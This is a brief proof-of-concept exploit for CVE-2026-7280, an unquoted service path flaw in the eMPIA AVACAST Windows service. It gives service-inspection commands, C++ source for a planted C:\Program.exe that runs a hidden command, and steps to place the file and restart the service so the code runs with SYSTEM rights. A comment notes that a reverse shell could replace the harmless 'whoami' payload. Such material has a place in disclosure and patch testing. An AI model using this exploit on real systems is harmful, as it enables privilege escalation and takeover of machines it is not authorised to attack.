CVE-2026-7280 eMPIA AVACAST 未引用服务路径漏洞

// PoC for CVE-2026-7280: Unquoted Service Path Vulnerability // Step 1: Check the service configuration using sc.exe or PowerShell // sc qc AvacastSvc // Step 2: Create a malicious executable (e.g., C:\Program.exe) // Compile the following C++ code to Program.exe #include <windows.h> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // Proof of Concept: Pop a calc or reverse shell WinExec("cmd.exe /c whoami > C:\poc_result.txt", SW_HIDE); // MessageBox(NULL, L"CVE-2026-7280 Exploited", L"PoC", MB_OK); return 0; } // Step 3: Place the executable // Copy Program.exe to C:\Program.exe // Step 4: Restart the service to trigger the exploit // net stop AvacastSvc // net start AvacastSvc // The file C:\poc_result.txt should now contain the SYSTEM user context.